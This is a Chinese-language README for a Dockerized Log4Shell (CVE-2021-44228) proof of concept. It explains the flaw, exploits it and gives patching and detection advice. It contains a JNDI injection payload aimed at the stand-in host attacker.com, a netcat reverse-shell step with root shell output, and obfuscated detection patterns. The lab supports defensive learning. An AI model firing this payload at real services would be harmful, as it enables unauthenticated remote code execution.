Log4Shell (CVE-2021-44228) 概念验证 (PoC)
目标
在 Docker 化环境中重现、利用并修复一个已知的关键 CVE。
本 PoC 在 Spring Boot 应用中演示 CVE-2021-44228 (Log4Shell) 漏洞。
1. 漏洞描述
CVE 编号: 2021-44228
CVSS 评分: 10.0(严重)
受影响组件: Apache Log4j(<= 2.14.1)
该包的工作原理
- Log4j 是一个流行的 Java 日志库。
- 它支持 查找(lookups)(
${...})来动态解析日志消息中的值。
- 其中一种查找是 JNDI,可以通过 LDAP 获取值。
漏洞工作原理
- 攻击者向受害者应用注入恶意 JNDI 查找字符串,例如
${jndi:ldap://attacker.com:1389/a}。
- 使用存在漏洞的 Log4j 版本的受害者应用在记录日志时会解析该恶意字符串。
- 这会触发向攻击者控制的 LDAP 服务器发起 JNDI 请求。
- LDAP 服务器响应一个指向外部 Java 字节码的恶意引用。
- 受害者 JVM 加载并执行该字节码,导致 远程代码执行 (RCE)。
利用原理
- 受害者应用记录来自 HTTP 头的攻击者提供的输入。
- 攻击者 LDAP 服务器响应一个指向
Exploit.class 的引用。
- 受害者通过 HTTP 获取
Exploit.class。
Exploit 中的静态初始化器运行,向攻击者生成反向 shell。
2. 风险
-
影响: 未认证的 RCE——最高严重级别。
-
面临风险的对象:
- 任何使用 Log4j <= 2.14.1 的 Java 应用。
- 面向互联网以及内部的服务,只要其记录用户可控的输入(例如 HTTP 头)。
-
后果:
- 系统被攻破(获得 shell 访问权限)。
- 数据泄露。
- 利用被攻陷的系统横向移动至内部网络。
- 绕过边界防御(通过内部服务发起攻击)。
3. 概念验证
前提条件
- docker + docker-compose
- netcat
- make
构建并启动
利用
- 启动 netcat 监听器:
- 触发漏洞利用:
- Netcat 接收到来自受害者的反向 shell:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
4. 修复
推荐修复方案
- 升级到 Log4j 2.17.1 或更高版本。
- 这是唯一完整且长期的修复方案。早期版本仅部分修补,但仍存在暴露点:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
临时缓解措施(如果无法升级)
- 争取时间
- 使用 WAF 或中间件限制入站攻击字符串(
${jndi: 模式)。
- 通过出站过滤限制应用服务器向 LDAP 发起的出站连接。
- 禁用查找功能:
-Dlog4j2.formatMsgNoLookups=true
- 加固 JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
运维缓解措施
- 审计依赖和运行时
- 生成软件物料清单(SBOM)(
gradle dependencies、Snyk、Wiz 等)。
- 搜索已部署的镜像/服务器中是否存在
log4j-core-*.jar(包括 fat JAR)。
- 对风险最高的工作负载进行分类并优先缓解。
- 监控与检测
- 在日志中监测利用尝试(
${jndi:...}、${${lower:j}ndi:...} 等)。
- 监控出站 LDAP 流量中的回调行为。
- 将发现结果视为潜在入侵,升级为事件响应(取证调查、清除恶意产物、轮换密钥等)。
- 供应商补丁
- 跟踪供应商公告(例如 Elasticsearch)——许多产品包含捆绑的 Log4j。
- 在官方补丁发布前应用热修复或供应商提供的变通方案。
- 战略性改进
- 推行“默认拒绝”的出站流量过滤策略。
- 在 CI/CD 中强制执行依赖扫描。
- 标准化响应预案,让团队在下一次“CVSS 10.0”漏洞出现时确切知道该怎么做。
- 开展韧性演练/桌面推演,测试对“新 Log4Shell 级”安全事件的准备情况。
5. 参考